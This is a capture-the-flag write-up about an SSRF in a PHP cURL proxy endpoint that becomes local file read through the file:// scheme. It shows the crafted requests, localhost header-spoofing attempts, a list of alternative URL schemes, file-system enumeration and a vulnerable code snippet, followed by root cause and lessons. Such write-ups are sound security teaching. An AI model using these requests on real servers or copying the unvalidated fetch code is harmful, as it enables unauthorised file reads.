August 4, 2026
Server-Side Request Forgery (SSRF) to Local File Read: A Deep Dive into a CTF Challenge
Welcome back, hackers! ๐
By Gyaneshchand
5 min read
After deep reconnaissance, testing, and analysis, I finally captured the flag in an interesting web-based CTF hosted on Com Olho.
In this write-up, I'll walk through my entire thought process โ from initial reconnaissance to exploiting the vulnerabilities that ultimately led to the flag.
Challenge Overview
The challenge was a great example of:
- SSRF
- PHP cURL misuse
- Local File Read (LFR)
- Arbitrary file access via
file://
Although the description was short, it hinted that the application might expose resources that were intended to remain inaccessible.
Tools Used
- Burp Suite
- Firefox
Initial Reconnaissance
As with any web challenge, I began by opening the application in my browser.
The application presented a standard login page. Interestingly, no credentials were provided in the challenge description.
However, I noticed something unusual in the input placeholders:
- Username: Jethalal
Password: bapuji
Instead of treating these as simple examples, I decided to test them as actual credentials.
To my surprise, the login was successful.
After authentication, the application issued a valid session cookie, confirming that I now had access to the authenticated portion of the application.
After successfully logging in, I continued with basic web reconnaissance.
As a first step, I checked for common files such as:
/robots.txt/sitemap.xml
Unfortunately, neither file exposed any hidden endpoints or sensitive information that could aid further enumeration.
Now I moved on to directory brute-forcing to identify hidden files and directories.
Although the scan discovered a few standard directories, none appeared vulnerable or contained sensitive resources that could be directly exploited.
At this point, I realized the attack surface wasn't going to reveal itself through simple enumeration, so I shifted my focus to analyzing the application's functionality and the available features.
Analyzing the Authentication Flow
Next, I intercepted the application's traffic using Burp Suite to understand how authentication was implemented.
Instead of sending requests directly to login.php, the application routed every request through an endpoint named fetch.php.
Login Request
POST /university/fetch.php?url=https://hu.technogig.in/university/login.php
{
"username": "Jethalal",
"password": "bapuji"
}POST /university/fetch.php?url=https://hu.technogig.in/university/login.php
{
"username": "Jethalal",
"password": "bapuji"
}The server responded with a JSON object containing a JWT token.
{
"success": true,
"token": "<JWT_TOKEN>"
}{
"success": true,
"token": "<JWT_TOKEN>"
}This immediately looked suspicious. The parameter: url= strongly suggested:
- SSRF
Confirming SSRF
To verify SSRF, I replaced the original URL with an external endpoint:
https://ipinfo.io/jsonhttps://ipinfo.io/jsonInstead of rejecting the request, the application returned the following response:
{
"ip": "147.93.109.87",
"city": "Mumbai",
"region": "Maharashtra",
"country": "IN",
"org": "AS47583 Hostinger International Limited"
}{
"ip": "147.93.109.87",
"city": "Mumbai",
"region": "Maharashtra",
"country": "IN",
"org": "AS47583 Hostinger International Limited"
}The ip field represents the public IP address of the machine that made the request. Since my browser never communicated directly with ipinfo.io and only interacted with the vulnerable fetch.php endpoint, the response confirmed that the application server fetched the resource on my behalf.
This established three important facts:
- The server was able to make outbound HTTP requests to external resources.
- User-controlled URLs were being fetched server-side, significantly expanding the attack surface.
At this point, the presence of an SSRF vulnerability was fully confirmed.
Further Observation
After authentication, the browser automatically requested another endpoint:
GET /university/fetch.php?url=https://hu.technogig.in/university/status.phpGET /university/fetch.php?url=https://hu.technogig.in/university/status.phpThe response was:
{
"service": "Academic Reference Service",
"internal_api": "/internal-api/"
}{
"service": "Academic Reference Service",
"internal_api": "/internal-api/"
}The internal_api field disclosed an internal endpoint that was not exposed through the application's interface. This suggested that the SSRF vulnerability might be used to access internal resources that were otherwise inaccessible.
Attempting to Access the Internal API
With the internal endpoint identified, I tried accessing it directly through the vulnerable proxy.
GET /university/fetch.php?url=https://hu.technogig.in/university/internal-apiGET /university/fetch.php?url=https://hu.technogig.in/university/internal-apiThe response was immediate:
HTTP/2 403 ForbiddenHTTP/2 403 ForbiddenA 403 Forbidden was actually good news โ it confirmed that the endpoint existed. The challenge now was figuring out how to bypass the access control.
Chasing the Wrong Rabbit
My first assumption was that the application trusted requests originating from localhost.
I tested several common header-based bypass techniques, including:
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
Base-Url: 127.0.0.1
Http-Url: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
Base-Url: 127.0.0.1
Http-Url: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1Every request resulted in the same response:
HTTP/2 403 ForbiddenHTTP/2 403 ForbiddenI also experimented with:
- URL encoding tricks
- Alternate path encodings
- Fuzzing additional endpoints under
/internal-api/
Nothing worked.
At this point, I had spent a significant amount of time chasing the wrong assumption, and it was becoming clear that the intended solution lay elsewhere.
A Small Observation That Changed Everything
While researching SSRF behavior with cURL, I came across an interesting point: when applications use cURL insecurely, they sometimes allow URL schemes beyond http:// and https://
That made me stop and ask myself:
Who said only HTTP is allowed?
If the application simply forwarded any URL to cURL, perhaps other protocols were also supported.
I began testing different URL schemes:
http://https://file://ftp://gopher://dict://php://data://
Most were rejected or produced no useful results.
However, when I tested the file:// scheme, the response caught my attention.
{
"curl_error": "URL rejected: Bad file:// URL"
}{
"curl_error": "URL rejected: Bad file:// URL"
}The error wasn't saying the protocol was forbidden โ it was saying the URL was malformed.
That distinction was crucial.
From SSRF to Local File Read
I corrected the syntax by specifying the filesystem root.
file:///file:///This time, the server responded with the contents of the root directory.
bin
dev
etc
home
lib
opt
proc
run
sbin
tmp
usr
varbin
dev
etc
home
lib
opt
proc
run
sbin
tmp
usr
varThat was the turning point.
The vulnerable endpoint wasn't limited to making HTTP requests โ it could also read local files from the server's filesystem.
The SSRF had effectively become a Local File Read / LFI vulnerability through cURL's file:// handler.
Enumerating the Filesystem
With filesystem access confirmed, I started enumerating directories manually.
The /home directory contained a user named:
u131187086u131187086From there, I continued exploring the directory structure until I discovered an interesting file:
flag.php
file:///home/u131187086/domains/technogig.in/public_html/hu/university/internal-api/flag.phpflag.php
file:///home/u131187086/domains/technogig.in/public_html/hu/university/internal-api/flag.phpRequesting this file through the vulnerable endpoint finally revealed the challenge flag.
๐ Flag captured.
Root Cause Analysis
The vulnerability was possible because:
- The application accepted user-controlled URLs without proper validation.
- The backend used PHP cURL to fetch the supplied URL.
- URL schemes were not restricted, allowing the use of
file://. - The application lacked an allowlist of trusted URLs or protocols.
- As a result, the SSRF vulnerability could be abused to read files from the server's local filesystem.
A simplified version of the vulnerable implementation would look like:
$url = $_GET['url'];
$ch = curl_init($url);
curl_exec($ch);$url = $_GET['url'];
$ch = curl_init($url);
curl_exec($ch);Impact
An attacker could:
- read local files
- enumerate file-system structure
- discover source code
- access internal APIs
- leak credentials/configs
- potentially escalate further
Lessons I Learned
This challenge reinforced several important security lessons:
1. SSRF is not limited to internal services
Most SSRF testing focuses on:
localhost- Internal APIs
- Cloud metadata endpoints
However, alternative URL schemes like:
file://ftp://gopher://
can expose completely different attack paths.
2. Always test supported URL schemes
If an application uses PHP cURL to fetch user-supplied URLs, don't assume only http:// and https:// are accepted.
Testing alternative protocols may reveal:
- Local file access
- Internal services
- Unexpected functionality
3. A 403 Forbidden isn't always a dead end
Receiving a 403 confirmed that the endpoint existed.
Instead of giving up, I shifted my focus from bypassing the restriction to understanding how the backend handled requests.
Final Thoughts
Don't stop exploring after hitting a dead end. Every failed attempt helped me understand the application better, and that understanding eventually led me to the flag.
I hope you enjoyed this write-up. See you in the next challenge! ๐
Happy hacking! ๐